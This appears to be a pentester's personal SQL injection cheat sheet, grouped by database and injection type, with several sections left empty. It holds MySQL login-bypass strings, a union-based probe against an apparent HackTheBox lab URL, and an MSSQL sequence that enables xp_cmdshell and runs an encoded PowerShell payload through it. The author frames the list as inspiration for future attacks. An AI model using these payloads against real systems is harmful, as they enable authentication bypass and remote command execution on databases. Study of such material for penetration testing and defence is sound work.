Table of Contents


Summery

Below is a list of random SQL injections I have used throught my life which executed successfuly on thier original targets.
The idea behind that list is to give inspiration for future attacks.


MySQL

Error-based injections

Test' OR 1=1;-- -// - Login bypass
Test'+OR+1=1;--+-// - Login bypass
Test' OR 1=1-- -// - Login bypass
Test'+OR+1=1--+-// - Login bypass
Test' OR 1=1;-- - - Login bypass
Test'+OR+1=1;--+- - Login bypass
Test' OR 1=1-- - - Login bypass
Test'+OR+1=1--+- - Login bypass

Union-based injections

Used in: Pandora
http://pandora.panda.htb:8080/pandora_console/include/chart_generator.php?session_id=%27%20order%20by%2010--%20-
http://pandora.panda.htb:8080/pandora_console/include/chart_generator.php?session_id=' order by 10-- -

Boolean-based injections

Time-based injections

MSSQL

Error-based injections

Union-based injections

Boolean-based injections

';EXEC xp_cmdshell 'ping 192.168.45.170';-- //

Time-based injections

Here are 5 commands you can run to enable xp_cmdshell.
';EXEC sp_configure 'show advanced options', 1;-- //
';RECONFIGURE;WAITFOR DELAY '0:0:5';-- //
';EXEC sp_configure 'xp_cmdshell', 1;-- //
';RECONFIGURE;WAITFOR DELAY '0:0:5';-- //
';EXEC xp_cmdshell 'powershell -e <PAYLOAD>';WAITFOR DELAY '0:0:5';-- // or ';EXEC xp_cmdshell 'whoami';WAITFOR DELAY '0:0:5';-- // if it’s not a blind query.

PostreSQL

Error-based injections

Union-based injections

Boolean-based injections

Time-based injections

References

https://devtooleasy.com/cheat-sheet/sql-injection - Great list of injections with short explanations
https://swisskyrepo.github.io/PayloadsAllTheThings/SQL%20Injection/MSSQL%20Injection/#mssql-blind-with-substring-equivalent
https://pentestmonkey.net/category/cheat-sheet/sql-injection
https://github.com/kleiton0x00/Advanced-SQL-Injection-Cheatsheet